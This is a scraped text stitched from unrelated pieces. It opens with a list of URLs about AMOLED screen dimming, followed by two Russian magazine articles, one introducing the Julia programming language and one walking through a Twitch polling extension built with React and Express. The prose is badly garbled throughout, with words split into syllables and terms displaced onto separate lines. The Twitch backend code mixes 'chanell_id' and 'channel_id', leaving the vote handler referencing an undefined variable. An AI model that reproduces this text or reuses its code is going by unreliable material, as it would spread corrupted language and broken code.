https://play.google.com/store/apps/details?id=com.vito.lux
https://play.google.com/store/apps/details?id=nu.lower.brightness.pro
https://forum.xda-developers.com/galaxy-s9-plus/themes/utility-amoled-pwmfree-application-t3898070
https://play.google.com/store/apps/details?id=org.js.oledsaver
https://play.google.com/store/apps/details?id=com.vito.lux
https://play.google.com/store/apps/details?id=eu.chainfire.lumen&hl=en
https://www.youtube.com/watch?v=dD7v11z3zGo
https://www.notebookcheck-ru.com/DC-Dimming-protiv-SHIM-ili-kak-regulirovat-jarkost-AMOLED-bez-mercanija.423645.0.html
https://www.gizmochina.com/2019/04/03/what-is-dc-dimming-why-its-important-for-amoled-smartphones/
https://www.oled-info.com/xiaomi-and-oneplus-add-dc-dimming-alternative-oled-pwm
https://www.ixbt.com/news/2019/05/02/xiaomi-mi-9-dc-dimming.html
https://www.oled-a.org/oledrsquos-cause-a-shift-in-display-driving-to-dc-dimming-to-improve-low-luminance-images_051319.html
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КОДИНГ

Julia — молодой язык прог рамми рова ния, пред назна чен ный
пре иму щес твен но  для  науч ных  вычис лений.  Его  соз датели
хотели, что бы он занял нишу, которую преж де занима ли Mat‐
lab, его кло ны и R. Соз датели пытались решить так называ‐ 
емую проб лему двух язы ков: сов местить удобс тво R и Python
и про изво дитель ность C. Пос мотрим, что у них получи лось.

ИСТОРИЯ
Раз рабаты вают  язык  в  Мас сачусет ском  тех нологи чес ком  инсти туте
с  2009  года,  а  в  начале  2012  года  была  выпуще на  пуб личная  вер сия.  Бета
име ла мно го проб лем и инте ресо вала толь ко любопыт ных энту зиас тов и раз‐ 
работ чиков‐аль тру истов,  которые  ста рались  прис пособить  окру жения
под пос тоян но меня ющиеся стан дарты.

Вот что пишут соз датели Julia.

Мы  хотим  язык  с  откры тым  исходным  кодом,  с  либераль ной  лицен- 
зией. Мы хотим ско рость C с динамиз мом Ruby. Нам нужен гомо ико- 
нич ный  язык  с  нас тоящи ми  мак росами,  как  Lisp,  но  с  оче вид ными,
зна комы ми матема тичес кими обоз начени ями, такими как в Matlab. Мы
хотим  что‑то  такое  же  удоб ное  для  обще го  прог рамми рова ния,
как Python,  такое же прос тое для ста тис тики,  как R,  такое же естес- 
твен ное для обра бот ки строк, как Perl, такое же мощ ное для линей ной
алгебры,  как  Matlab,  и  спо соб ное  скле ивать  прог раммы  вмес те
как  обо лоч ку.  Неч то  прос тое  в  осво ении,  но  при  этом  раду ющее
самых  серь езных  хакеров.  Мы  хотим  высокой  инте рак тивнос ти
и  эффектив ной  ком пиляции.  Мы  ведь  не  слиш ком  мно гого  про сим,
вер но?

В августе 2018 года выш ла вер сия 1.0.0, что породи ло бур ный инте рес к язы‐ 
ку. Джу лию начали  , появи лись онлай новые
кур сы  (на    и  ),  стар товали 

, раз работ чики начали  , а вла дение этим
язы ком  вош ло  в  топ  самых  вос тре бован ных  про фес сиональ ных  навыков 

. Ста били зация син такси са, в свою оче редь, выз вала взрыв ной
рост раз работ ки  .

пре пода вать в уни вер ситетах США
Cursera Julia Academy ком мерчес кие  и  иссле дова‐ 

тель ские про екты про являть инте рес
по

вер сии Upwork
вспо мога тель ных пакетов

ХАРАКТЕРИСТИКИ
• :  этот  язык  раз рабаты вал ся  для  высокой  про изво дитель нос ти.
Прог раммы, написан ные на Julia, ком пилиру ются в эффектив ный натив ный
код для раз ных плат форм через  .

Ско рость

LLVM
• : исполь зуя парадиг му мно жес твен ной дис петче риза ции,  Julia
облегча ет выраже ние мно гих объ ектно ори енти рован ных и фун кци ональ‐ 
ных шаб лонов прог рамми рова ния. Стан дар тная биб лиоте ка обес печива ет
асин хрон ный ввод‐вывод, управле ние про цес сами, ведение жур нала, про‐ 
фили рова ние, менед жер пакетов и мно гое дру гое.

Об щность

• :  Julia  под держи вает  динами чес кую  типиза цию,  ведет
себя как язык сце нари ев и име ет хорошую под дер жку для инте рак тивно го
исполь зования.

Ди намич ность

• :  Julia  пре вос ходна  в  высокот ребова тель ных  вычис‐ 
лени ях, име ет син таксис, который отлично под ходит для матема тики, под‐ 
держи вает мно жес тво  чис ловых  типов  дан ных  и  парал лелизм  «из  короб‐ 
ки».  Муль тиметод  это го  язы ка  иде аль но  под ходит  для  опре деле ния  чис‐ 
ловых и мас сивопо доб ных типов дан ных.

Тех нологич ность

• :  она  име ет  богатый  язык  опи сатель ных  типов  дан ных,
и  объ явле ния  типов  могут  исполь зовать ся  для  уточ нения  и  укрепле ния
прог рамм.

Оп циональ ность

• :  встро енная  сис тема  управле ния  пакета ми,  которые
хорошо работа ют вмес те. Мат рицы еди нич ных величин или таб лицы дан‐ 
ных, наз ваний, чисел и изоб ражений — все мож но обра ботать с оди нако‐ 
во хорошей про изво дитель ностью.

Адап тивность

Син таксис
Julia  выг лядит  луч ше,  чем  Matlab,  но  на  дос тижение  это  не  тянет.  Сре ди
основных язы ков прог рамми рова ния закос тенелость и пло хой дизайн Matlab
усту пают толь ко PHP. В Octave и Scilab некото рые из этих проб лем испра вили,
но  там  есть  и  свои.  Matlab  и  R  берут  тем,  что  у  них  огромные,  соб ранные
за  годы  биб лиоте ки  наборов  инс тру мен тов  и  фун кций,  с  которы ми  лег ко
решать науч ные и вычис литель ные задачи.

В арсе нале  Julia  это го  пока  нет:  пот ребу ются  годы,  что бы соз дать  собс‐ 
твен ную нас толь ко же пол ную биб лиоте ку пакетов.

Как и в перечис ленных язы ках  (Python, Matlab и про чие во гла ве с леген‐ 
дарным  Fortran),  в  Julia  есть  сре зы  ( ),  ариф метичес кие  опе рато ры
рас простра няют ся на мас сивы, а  .

Arr[:,1]
ин декса ция начина ется с еди ницы

Но вер немся к син такси су. Для начала соз дадим пару мас сивов‐век торов:

julia> A = [2, 3, 4]
3‐element Array{Int64,1}:
2
3
4

julia> B = [6+2im, 0.8, ‐1]
3‐element Array{Complex{Float64},1}:
 6.0 + 2.0im
 0.8 + 0.0im
‐1.0 + 0.0im

Об рати вни мание, что мож но исполь зовать раз ные чис ловые типы:  тип под‐ 
гоня ется под выс ший в иерар хии. Теперь соз дадим мас сив‐стро ку и выпол‐ 
ним эле мен тарные опе рации:

julia> C = [1 0 1]
1?3 Array{Int64,2}:
1  0  1

julia> A+B
3‐element Array{Complex{Float64},1}:
8.0 + 2.0im
3.8 + 0.0im
3.0 + 0.0im

julia> C * ans.^2
1‐element Array{Complex{Float64},1}:
69.0 + 32.0im

Ре зуль тат пос ледних  вычис лений  хра нит ся  в  перемен ной  ,  в  нашем слу‐ 
чае — мас сив, который получил ся при сло жении   и  . Мы его поэле мен тно
воз вели в квад рат и ска ляр но умно жили на  .

ans
А В

С
Да вай пос мотрим, как мож но задавать фун кции.

function cube(x)
   x^3
end

cube(x) = x^3

Фун кции воз вра щают резуль тат пос ледних вычис лений,  то есть   про‐ 
писы вать  не  обя затель но.  Есть  воз можность  исполь зовать  ано ним ные фун‐ 
кции  (похоже  на  лям бды из Python). Нап ример,  пос чита ем евкли дову  нор му
век тора:

return

sqrt( sum(x‐> x^2, Arr) )

Мож но записать то же самое цепоч кой фун кций (ведь это унар ные опе рато‐ 
ры):

Arr.^2 |> sum |> sqrt

Нуж ные фун кции, как пра вило, уже есть в стан дар тной биб лиоте ке. Для сле‐ 
дующих двух при меров есть ана лог —  . Со стро ками работать так
же прос то, как с мас сивами. Выпол ним кон катена цию и зап росто реали зуем
шифр Цезаря:

hypot(Arr)

julia> "russian" * ' ' * "hacker"
"russian hacker"

julia> caesar(X, n) = prod( [x+n for x in X] )
caesar (generic function with 1 method)

julia> caesar("hakep.ru", 5)
"mfpju3wz"

Пос коль ку  задать  фун кцию  и  мно жес тво  для  соз дания  мас сива  мож но  нес‐ 
коль кими  спо соба ми,  есть  и  раз ные  сти ли  написа ния.  Тру  сто ри:  дума ешь,
что  за  год  хорошо  разоб рался  в  язы ке,  раз  зада ешь  мас сивы  с  помощью
вклю чений ( ), а потом однажды в чужом коде видишь 

  и  ничего  не  понима ешь.  Так  что  неп лохо  поин тересо вать ся  и  ите‐ 
рато рами тоже.

[2*i for i = 1:10] 2*
[1:10;]

Ско рость
Ско рость  под купа ет.  Но  если  ты  возь мешь  и  напишешь  скрипт,  выводя щий
энный член мно жес тва Фибонач чи, ока жет ся, что вычис ления идут мед ленно,
не быс трее, чем на Python. Ско рость Julia дос тига ется за счет мно жес твен ной
дис петче риза ции с пос леду ющей JIT‐ком пиляци ей.

Пре иму щес тво  модели  метода  Julia  в  том,  что  она  хорошо  сочета ется
с дис петче риза цией по нес коль ким типам. При соз дании фун кции вида 
,  в  зависи мос ти  от  опе раций,  которые  исполь зуют ся  внут ри,  будут  опре‐ 

деле ны методы для раз личных слу чаев. Ска жем,  , 
,   — для каж дого будет ском пилиро‐ 

ван высоко эффектив ный код, во мно гом иден тичный тому, что дает C или For‐
tran. И ты можешь пос мотреть этот код с помощью прос тых команд:

f(a,
b)

f(a::Int, b::Int) f(a::
Float, b::Int) f(a::String, b::Int)

function f(a,b)
   return 2a+b
end

@code_native f(2.0,3.0)

pushq   %rbp
movq    %rsp, %rbp
Source line: 2
vaddsd  %xmm0, %xmm0, %xmm0
vaddsd  %xmm1, %xmm0, %xmm0
popq    %rbp
retq
nop

@code_native f(2,3)

pushq   %rbp
movq    %rsp, %rbp
Source line: 2
leaq    (%rdx,%rcx,2), %rax
popq    %rbp
retq
nopw    (%rax,%rax)

Эта  избы точ ность  замед ляет  заг рузку  интер пре тато ра,  пакетов  и  пер вый
запуск  тво его  скрип та.  А  так  как  интер пре татор  име ет  гло баль ную  область
видимос ти и не допус кает спе цифи ку типов, то будет генери ровать ся гро моз‐ 
дкий  низ коуров невый  код,  который  ста рает ся  пре дус мотреть  любую  нес‐ 
табиль ность типов.

Это реша ется лег ко: обо рачи вай свои опе рации в фун кции, избе гай гло‐ 
баль ных перемен ных и по воз можнос ти выс тра ивай логику прог раммы, ори‐ 
енти руясь на кон крет ную задачу. Типы мож но ука зывать и явно — как в ста‐ 
тичес ки  типизи рован ных  язы ках.  Кста ти,  мой  при мер  шиф ратора  Цезаря
может при нимать и стро ки, и мас сивы целых и ком плексных чисел. Как дума‐ 
ешь, какой дли ны будет пор тянка LLVM, сге нери рован ная для этой фун кции?

Па рал лель ные вычис ления
Как  и  осталь ные  молодые  язы ки  вро де  Go,  Julia  прос то  обя зана  быть  ори‐ 
енти рован ной на мно гоп роцес сорные опе рации «из короб ки». В наше вре мя
боль шие  объ емы  вычис лений  выпол няют ся  в  облачных  сре дах,  где  по  тре‐ 
бова нию  выделя ются  нуж ные  ресур сы.  Стан дарт  MPI,  который  исполь зуют
для  орга низа ции  работы  круп номас штаб ных  парал лель ных  при ложе ний,
не  отли чает ся  осо бой  элас тичностью.  В  ходе  вычис лений  нель зя  добавить
про цес соры, и воз можнос ти вос ста нов ления пос ле сбо ев весь ма огра ничен‐ 
ны.

В Julia переда ча сооб щений отли чает ся от MPI. Вмес то модели «зап рос —
ответ» исполь зует ся гло баль но рас пре делен ное адресное прос транс тво, что
поз воля ет лег ко опе риро вать ссыл ками на объ екты на раз ных машинах и на
ходу добав лять допол нитель ные ресур сы.

А еще это чер тов ски прос то реали зовать! Вызыва ем пакеты, которые поз‐ 
волят  осу щест влять  рас пре делен ные  вычис ления  и  исполь зовать  общие
для всех про цес сов мас сивы. Ука зыва ем, что нуж но пос читать парал лель но.

using Distributed, SharedArrays
addprocs(2)

a = SharedArray{Float64}(10)
@distributed for i = 1:10
   a[i] = i
end

Или  вычис лим  чис ло  пи  одним  из  самых  неп рактич ных  спо собов  на  двух
ядрах:

using Distributed, Statistics
addprocs(2)

@everywhere function PI(n)
   p = 0
   for i = 1:n
      x = rand(); y = rand()
      p += (x^2 + y^2) <= 1
   end
   4p/n
end
find_PI(N) = mean( pmap( PI, [N/nworkers() for i = 1:nworkers()] ) )

julia> @time fPI(1_000_000_000)
 2.674318 seconds (181 allocations: 7.453 KiB)

3.1416085999999996

В Julia исполь зуют ся такие тех ники, как Atomic Operations, Channels и Corou‐
tines, а так же   и  .MPI CUDA

Не дав но была анон сирова на новая спо соб ность Julia — 
.  Так  что,  если  тебе  нуж но  обра ботать 
,  повысить  эффектив ность  сво ей  крип тофер мы,  про‐ 

извести  ,  ты  зна ешь,  какой  инс тру мент  выб‐ 
рать.

Composable multi‐
threaded  parallelism 150  Тбайт  астро‐ 
номи чес ких  дан ных

кли мати чес кое  модели рова ние

До пол нитель ные пре иму щес тва
•  одна из самых удоб ных и пол ных сре ди тех, что я встре чал.
К  тому  же  ты  всег да  можешь  выз вать  справ ку  по  любой  фун кции  пря мо
в кон соли набора кода, нап ример:  ,  ,  ,  .

До кумен тация

?prod ?sqrt ?* ??
• На бор  и  исполь зование  в  коде  . 
прев ратит ся в λ — при ятная мелочь, хоть и не все кон соли и бра узе ры ее
отоб разят.

сим волов  Юни кода \lambda  +  <Tab>

•  — парой команд мож но ска чать и нас тро‐ 
ить  пакет,  если  он  сущес тву ет.  Нес мотря  на  уве личе ние  чис ла  пакетов,
час то узко целе вые пакеты заб рошены или забаго ваны. В край нем слу чае
ты всег да можешь написать свой.

Встро енный пакет ный менед жер

• Мак росы  и  дру гие  воз можнос ти  метап рограм мирова ния.  Это  уско ряет
обо рачи вание  биб лиотек  на  дру гих  язы ках.  Хороший  при мер  метап‐ 
рограм мирова ния — в пакете  ,  где очень  эле ган тно решена
проб лема  .

StructArrays.jl
SoA/AoS

• Фун кции  язы ка  С  мож но  вызывать  нап рямую,  фун кции  Python  —
при помощи PyCall. С дру гими популяр ными язы ками друж ба тоже доволь‐ 
но тес ная.

ГДЕ ЗАПУСКАТЬ
 — кон соль‐интер пре татор. Кача ем с офи циаль ного сай та и получа‐ 

ем все воз можнос ти Julia из короб ки.
• REPL

 — удоб ный инс тру мент, популяр ный у дата‐сай ентистов.• Jupyter
 — IDE с обоз ревате лем перемен ных и все ми недос татка ми Atom.• Juno

 — то, чего так дол го не хва тало джу лиис там‐пер вопро ход цам.• Де багер
 — воз можность модифи циро вать ком пилятор.• Cassette

Пла гины и редак торы:
;• Visual Studio Code

;• JetBrains
;• Vim

;• Sublime Text
.• Revise

НАСУЩНЫЙ ВОПРОС
Мо жет  быть,  ты  уже  задал ся  воп росом,  почему  Julia  не  под держи вает  объ‐ 
ектно  ори енти рован ное  прог рамми рова ние.  Но  это  не  так.  Julia  —  муль‐ 
типара диг маль ный  язык,  который  под держи вает  методы  из  про цедур ного,
дек ларатив ного, фун кци ональ ного, мета и — вни мание! — объ ектно ори енти‐ 
рован ного прог рамми рова ния.

Здесь  все  явля ется  объ ектом,  есть  нас ледова ние,  абс трак тные  клас сы,
полимор физм,  инкапсу ляция.  Точ нее,  в  Julia  все  есть  мно жес твен ная  дис‐ 
петче риза ция (multiple dispatch). Вмес то завяз ки на экзем пля ре объ екта 

 будет метод, заточен ный под объ екты: 
.

in‐
stance.method(…) method(instance,
…)

Не дос таток  в  том,  что  типы  и  методы  по  умол чанию  не  свя заны  меж ду
собой:  мож но  получить  код,  где  для  какого‐то  типа  нет  методов  либо  они
есть,  но  кон флик туют.  Прак тичес ки,  иди ома тич ная  Julia  прос то  объ еди няет
все методы с одним и тем же име нем.

julia> size
size (generic function with 89 methods)

В резуль тате у Julia по дизай ну все полимор фно. Так что Julia объ ектно ори‐ 
енти рова на  до  глу бины  души.  Но  это  неоче вид но  из‐за  раз мытия  гра ницы
меж ду фун кци ональ ным прог рамми рова нием и объ ектно ори енти рован ным.

Соз датели Julia были сос редото чены на раз работ ке язы ка для под дер жки
матема тичес кого  прог рамми рова ния.  Исполь зование  ООП  в  сти ле  С++
и  Java,  ког да  пер вый  опе ратор  вла деет  фун кци ей,  было  неудоб но  в  пла не
реали зации  и  орга низа ции  кода.  Методы  клас са  не  очень‐то  полез ны
при  работе  с  век торами,  мат рицами  и  тен зорами,  и  наличие  пер вого  аргу‐ 
мен та в выраже нии может при вес ти к путани це.

Еще одна  вещь,  которую  люди  час то  замеча ют, —  поля  дан ных  не могут
быть  унас ледова ны,  хотя  не  обя затель но  счи тать  это  неотъ емле мой  частью
ООП, это прос то свой ство объ ектно ори енти рован ных язы ков.

Мно жес твен ная  дис петче риза ция  —  эле ган тное  решение,  которое  дает
прог раммис ту боль шую часть пре иму ществ ООП и в то же вре мя не кон флик‐ 
тует с тем, как в нем работа ет матема тика.

PYTHON ИЛИ JULIA
Из‐за пологой кри вой обу чения Julia поч ти иде аль на в качес тве пер вого язы‐ 
ка прог рамми рова ния, с которо го мож но пере учить ся на Python или углу бить‐ 
ся в C. Я слы шал, как пре пода вате ли сету ют на то, что Python калечит в сту‐ 
ден тах прог раммис тов и их потом труд но пере учи вать на что‐то более близ‐ 
кое к железу.

Од нако Julia не может делать все, что дела ет Python, хотя она при мени ма
для боль шинс тва прак тичес ких целей. И, как любой язык прог рамми рова ния,
она  име ет  свои  под водные  кам ни.  Ты  можешь  исполь зовать  метап рограм‐ 
мирова ние  и  мак росы,  переда вать  их  сим воль но  в  фун кции  и  из  фун кций,
но  дей стви тель но  переда вать  сами  мак росы  нель зя.  Фун кция    всег да
работа ет в области уров ня модуля.

eval

В Python метак лассы и про вер ки дос тупны вез де, пос коль ку   работа ет
в локаль ной области.

eval

Ти пы  в  Julia  явля ются объ екта ми,  и  ты можешь переда вать  конс трук торы
типов  сколь ко  угод но,  но  типы  могут  быть  опре деле ны  толь ко  на  вер хнем
уров не модуля, и их нель зя изме нить пос ле объ явле ния. Это важ ное отли чие
от динами чес ких язы ков вро де Python, Ruby, JavaScript и Smalltalk. Хотя типы
в Julia могут быть сге нери рова ны с помощью  .eval

В  Python  новые  клас сы  раз решено  соз давать  внут ри  фун кций,  которые
сущес тву ют  толь ко  в  этой  локаль ной  области,  и  атри буты  клас са  мож но
динами чес ки исправ лять во вре мя выпол нения.

Раз работ чики  Julia  добились  впе чат ляющих  резуль татов,  но  у  их  язы ка
еще нет той опо ры, которая обес печива ет дол госроч ный успех. Даже сочета‐ 
ние удобс тва и ско рос ти Julia не зас тавит пок лонни ков Python ему изме нить
( ). Python  уже име ет связь с отно ситель но низ коуров невыми
опе раци ями в виде   и даже упа ков ку для LLVM —  .
но это не точ но

Cython Numba
Для  data  science,  machine  learning,  ана лити ки,  науч ных  вычис лений

и  иссле дова ний  Julia  чер тов ски  хороша.  На  ней  удоб но  делать  сер верный
бэкенд  и  про чие  насущ ные  сер висы,  рас счи тан ные  на  дол гую  работу.  Игры
на  ней  писать  мож но,  но  с  оглядкой  на  про жор ливые  вычис ления  и  дру гие
наг рузки. А вот кросс‐плат формен ные при ложе ния на Julia без пля сок с буб‐ 
ном не получат ся.

Я не знаю, выс тре лит Julia или нет, но изу чать и при менять ее мож но уже
пря мо сей час.

WWW

Для  обу чения  на  англий ском  есть 
.  На  рус ском  же  из  книг  толь ко  уста рев шая

«Осва иваем язык Julia» Мал коль ма Шер рин гто на.
Еще  есть    и  само учи тель
на  .

мно го  ресур‐ 
сов

статьи  на  Хаб ре
GitHub
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КОДИНГ

Два  года  назад  раз работ чики  стри мин‐ 
говой плат формы Twitch пред ста вили новый
спо соб  вза имо дей ствия  стри меров  и  зри‐ 
телей — Twitch Extensions. Эта сис тема поз‐ 
воля ет  раз работ чикам  допол нять  и  улуч‐ 
шать  интерфейс  как  сай та,  так  и  мобиль‐ 
ного  при ложе ния,  соз давая  раз личные
инте рак тивные  эле мен ты.  Я  рас ска жу,
как  работа ют  эти  рас ширения  и  как
при желании соз дать свое.

Струк тура рас ширений

БЭКЕНД
Са мое  важ ное  —  инте рак тивность  и  налажен ное  вза имо дей ствие  меж ду
поль зовате лями и стри мером. Для это го нам понадо бит ся хороший сер вер.

У рас ширений Twitch такой сер вер называ ется 
 (EBS). В отли чие от фрон тенда, ответс твен ность за неп рерыв ную работу

которо го  берет  на  себя  Twitch,  хос тинг  и  раз мещение  EBS  стри мин говым
сер висом  не  обес печива ется —  а  зна чит,  эту  проб лему  нам  нуж но  решать
самос тоятель но.

Extension Backend Ser-

vice

Бэк сос тоит из нес коль ких час тей.
1. Об щение  с  поль зовате лями  и  верифи кация  JWT.  Twitch  для  каж дого
челове ка, который акти виру ет рас ширение,  генери рует уни каль ный токен
JWT,  под писан ный  сек ретным  клю чом.  Это  поз воля ет  иден тифици ровать
поль зовате ля,  не  рас кры вая  его  пер сональ ных  дан ных,  и  отде лять  нас‐ 
тоящих зри телей от ботов, спа ма и DDoS.

2. Об работ ка дей ствий поль зовате лей внут ри рас ширения. Это может быть,
нап ример, под счет голосов зри телей или работа с базой дан ных.

3. Вза имо дей ствие с Twitch API и в пер вую оче редь с PubSub — сер висом,
который поз воля ет фрон тенду и бэкен ду общать ся без задер жек.

Здесь  мы  исполь зуем  популяр ное  и  надеж ное  решение  —  .
Для хос тинга бэкен да мож но исполь зовать любой сер вис, даже собс твен ный
компь ютер.  Для  неболь ших  раз работок  нам  при годит ся  сер вис  ,
который, помимо хос тинга, пре дос тавит удо бова римый URL.

ExpressJS

Heroku

ФРОНТЕНД
Фрон тенд  каж дого  рас ширения  сос тоит  из  одно го  или  нес коль ких  экра нов
(view),  они  быва ют  раз ных  типов  и  вмес те  сос тавля ют  поль зователь ский
интерфейс.

  —  спе циаль ный  блок,  пред назна чен ный  для  показа
внут ри офи циаль ного при ложе ния Twitch с помощью WebView.

• Mobile  extension

 — вид жет, который нак ладыва ется поверх все‐ 
го видео (мак симум на один стрим).

• Video-overlay extension

  —  блок,  который  занима ет  лишь  часть
виде опо тока. Стри мер может рас положить его на свое усмотре ние.

• Video-component  extension

 — пол ностью нас тра иваемая панель, которая отоб ража‐ 
ется не поверх видео, а вни зу, вмес те с дру гими панеля ми.

• Panel extension

Кро ме  раз личных  view,  пред назна чен ных  для  зри телей,  есть  так же  два  view
для самого стри мера, которые нуж ны для управле ния рас ширени ем.

  (Live  Dashboard)  —  нас трой ки,  дос тупные  в  пря мом  эфи ре,
пря мо  в  даш борде —  там  же,  где  и  все  осталь ные  самые  необ ходимые
эле мен ты управле ния.

• Live-config

  (Configuration)  —  парамет ры,  которые  уста нав лива ются
при инстал ляции рас ширения (или в отдель ном меню всех рас ширений).

• Config

Все типы view

На самом деле  каж дый из этих  view — это не более  чем спе циаль но офор‐ 
млен ный  тег    или  отдель ный  WebView  (для  телефо нов),  который
занима ется отоб ражени ем сво его интерфей са и обра бот кой дей ствий поль‐ 
зовате ля.  Имен но  поэто му,  что бы  упростить  раз работ ку  фрон тенда,  мы
исполь зуем React.

<iframe>

РАЗРАБОТКА СВОЕГО РАСШИРЕНИЯ
Те перь  давай  я  на  при мере  покажу,  как  написать  осно ву  для  собс твен ного
рас ширения.  Пусть  это  будет  онлай новое  голосо вание  с  обновле нием
голосов в реаль ном вре мени.

Уп ростить раз работ ку рас ширений для Twitch помога ет спе циаль ное при‐ 
ложе ние,  которое  работа ет  в  Windows,  macOS  или  Linux.  Оно  называ ется

  и  нуж но  исклю читель но  для  соз дания  и  тес тирова ния
рас ширений.
Twitch  Developer  Rig

Developer Rig
При запус ке прог рамма пред ложит тебе вой ти через свой акка унт на Twitch,
и толь ко пос ле это го мож но начинать работу.

Соз дание рас ширения — шаг пер вый

Здесь  нуж но  выб рать  для  сво его  рас ширения  уни каль ное  имя,  которое
не  толь ко  не  исполь зует ся  сей час,  а  вооб ще  никог да  никем  не  исполь‐ 
зовалось.

Соз дание рас ширения — шаг вто рой

На этом шаге нам пред лага ют выб рать пап ку,  где будет рас полагать ся про‐ 
ект, и осно ву для про екта.

Ес ли ты выберешь какой‐либо базовый код, то он будет кло ниро ван с офи‐ 
циаль ного  .ре пози тория Twitch на GitHub

Фронт
Для  работы  рас ширения  Twitch  пре дос тавля ет  спе циаль ный  поль зователь‐ 
ский  интерфейс,  который  дос тупен  в  коде  стра ницы  через  объ ект 

. Этот интерфейс исполь зует ся в пер вую оче редь для управле ния
событи ями.

window.
Twitch.ext

Клю чевое событие — это, конеч но, появ ление поль зовате ля. Оно называ‐ 
ется   и получа ет дан ные юзе ра: его токен (со все ми пра вами
дос тупа — стри мер или зри тель) и иден тифика тор.

onAuthorized()

Дру гое  важ ное  событие,  ,  переда ет  рас ширению  дан ные
об окру жении во вре мя ини циали зации  (нап ример, какой исполь зует ся бра‐ 
узер).

onContext()

Кро ме  того,  API  пре дос тавля ет  воз можность  под писать ся  на  события
.Twitch PubSub

Соз дадим осно ву кли ент ско го при ложе ния —  .video_component

import React from 'react';

export class App extends React.Component {
 constructor() {
   super();
   this.twitch = window.Twitch.ext;
   this.state = {
     active: false,
     poll: [],
   };

   this.twitch.onAuthorized(this.authorize);
 }

 async authorize({ token, userId }) {
   this.token = token;
   this.userId = userId;

   const result = await fetch(`${host}/poll`, {
     headers: {
       Authorization: `Bearer ${this.token}`,
     },
     method: 'GET'
   });
   this.setState(result);
 }

 render() {
   const {
     active,
     poll,
   } = this.state;

   return (
     <>
       /* код отображения */
     </>
   );
 }

}

Код, который будет отоб ражать ся у стри мера в панели ( ):config

import React from 'react';

export class App extends React.Component {
 constructor() {
   super();
   this.twitch = window.Twitch.ext; // Сохраним для быстрого доступа
   this.state = {
     active: false,
     poll: [],
     role: null,
   }; // Пустое состояние — новое будет загружено с сервера

   this.twitch.onAuthorized(this.authorize);
 }

 async authorize({ token, userId }) {
   this.token = token;
   this.userId = userId;
   // Получаем токен из данных от Twitch

   const {
     role,
   } = await jwt.decode(token);
   // Проверяем роль пользователя (на всякий случай)

   const result = await fetch(`${host}/poll`, {
     headers: {
       Authorization: `Bearer ${this.token}`,
     },
     method: 'GET',
   });
   // Запрашиваем актуальные данные

   this.setState({
     ...result,
     role,
   });
 }

 render() {
   const {
     active,
     poll,
     role
   } = this.state;

   if (role !== 'broadcaster') {
     /*
      * Проверка, является пользователь
      * настоящим стримером или нет
      */
     return null;
   }

   return (
     <>
       /* код отображения */
     </>
   );
 }

}

Бэк
Ос новная задача нашего бэкен да — хра нить и рас простра нять опро сы, соз‐ 
данные стри мера ми, и собирать голоса поль зовате лей, для чего при годит ся
база  дан ных,  нап ример  .  Кро ме  это го,  сто ит  обра тить  вни мание
на обра бот ку заголов ков  , так как зап росы будут идти от име ни сер вера
Twitch.

MongoDB
CORS

import express from 'express';
import jwt from 'jsonwebtoken';
import cors from 'cors';

const app = express();

var polls = []; // Маленькая база данных

function getPoll(chanell_id) {
 /*
  * Получить опрос из базы данных
  * или из переменной (ради простоты)
  */
 const poll = polls[chanell_id];
 if (poll) {
   return poll;
 } else {
   // Стример не активировал опрос
   // Возвращаем пустые данные
   return {
     active: false,
     poll: [],
   };
 }

}

/*
* Здесь можно связываться с базой данных
* и обновлять данные
*/

function setPoll(channel_id, poll) {
 polls[channel_id] = poll;

}

function deletePoll(channel_id) {
 polls[channel_id] = null;

}

function votePoll(channel_id, vote) {
 if (polls[chanell_id] && polls[channel_id].poll[vote]) {
   polls[channel_id].poll[vote].votes += 1;
 }

}

app.use(express.json());
app.use(cors()); // CORS‐заголовки

app.use(async (req, res, next) => {
 const auth = req.get('Authorization');

 if (!auth.startsWith('Bearer ')) {
   res.sendStatus(403);
   // Данные авторизации не были предоставлены
   return;
 }

 const token = auth.slice(7); // Пропускаем 'Bearer '
 try {
   req.user = await jwt.verify(token, Buffer.from(process.env.SECRET
, 'base64'));
 } catch (e) {
   res.sendStatus(403);
   // Неверный или истекший токен
   return;
 }

 next();
})

// Разрешаем всем пользоваться нашим расширением
app.options('/poll', cors());

app.get('/poll', (req, res) => {
 const {
   chanell_id
 } = req.user;

 const poll = getPoll(chanell_id);

 res.json(poll);
});

app.post('/poll', (req, res) => {
 const {
   chanell_id,
   role,
 } = req.user;

 if (role !== 'broadcaster') {
   res.sendStatus(403);
   // Пользователь — не владелец канала
   return;
 }

 setPoll(chanell_id, req.body);

 res.sendStatus(200);
});

app.delete('/poll', (req, res) => {
 const {
   channel_id,
   role,
 } = req.user;

 if (role !== 'broadcaster') {
   res.sendStatus(403);
   // Пользователь — не владелец канала
   return;
 }

 deletePoll(channel_id);

 res.sendStatus(200);
});

app.post('/vote', (req, res) => {
 const {
   channel_id,
 } = req.user;

 votePoll(channel_id, req.body.vote);

 res.sendStatus(200);
});

app.listen(process.env.PORT || 8080);

Те перь, ког да есть все сос тавные час ти, дело за малым — запус тить это!

Раз верты вание и пуб ликация рас ширения
В  пер вую  оче редь  нам  необ ходим  работа ющий  бэкенд.  Соз дадим  в  пап ке
с фай лом, содер жащим код сер вера, репози торий Git и файл 
(с помощью  ). При ини циали зации ука жи в качес тве точ ки вхо да (en‐
try point) свой файл.

package.json
npm init

За тем  необ ходимо  заком митить  изме нения,  соз дать  при ложе ние  Heroku
и запус тить его.

 

 

 git init 
 

 npm init ‐y 
 

 
 
 
 
 

 
 

 
 

 
 

 
 heroku create miracles‐polls 

 

 
 git add . 
 git commit ‐m "Version 1.0" 
 git push heroku master 

 
 

 
 

 
 

 
 
 

 

$
Инициализирован пустой репозиторий Git в backend/.git/
$
Wrote to backend/package.json:
{
"name": "backend",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}
$
Creating ⬢ miracles‐polls... done
https://miracles‐polls.herokuapp.com/ | https://git.heroku.com/miracles‐
polls.git
$
$
$
remote: Compressing source files... done.
remote: Building source:
remote: ‐> Node.js app detected
...
remote: ‐> Build succeeded!
remote: ‐> Compressing...
remote:    Done: 19.9M
remote: ‐> Launching...
remote:    Released v3
remote:    https://miracles‐polls.herokuapp.com/ deployed to Heroku
remote: Verifying deploy... done.

Так, наш сер вер запущен и уже ждет новые опро сы. Зай мем ся фрон тендом.
Для улуч шения качес тва заг рузки хос тинг этой час ти Twitch целиком берет

на себя, поэто му, что бы наше рас ширение ста ло дос тупно, нуж но зай ти в 
,  в  раз дел  управле ния  тво им  рас ширени ем,

